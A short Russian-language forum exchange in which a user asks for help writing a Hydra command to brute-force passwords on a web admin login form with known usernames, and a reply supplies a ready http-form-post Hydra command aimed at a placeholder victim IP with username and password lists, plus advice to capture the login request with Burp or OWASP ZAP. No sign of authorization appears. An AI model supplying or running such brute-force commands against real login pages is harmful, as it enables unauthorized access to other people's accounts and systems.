| BillyBons |
02.03.2019 19:23 |
Цитата:
Сообщение от HASARD
HASARD said:
↑
Добрый день, помогите составить команду для Hydra (Windows), логины известны не получается составить форму для подбора пароля под данную веб форму
AdminAdmin panel loginLogin
|
А form action и текст/исходник страницы после неудачной попытки авторизации где ?
Вот пример, у Вас будет что-то похожее -
hydra VICTIM_IP http-form-post "/form_login/dataReceptor.php:username=^USER^&password=^PASS^:B ad login" -L users.txt -P pass.txt -o hydra-http-post-attack.txt
P.S.:
Гораздо полезнее и проще будет записать request-response при проверке пароля Burp-ом или OWASP ZAP-ом, и выложить сюда body|headers.
|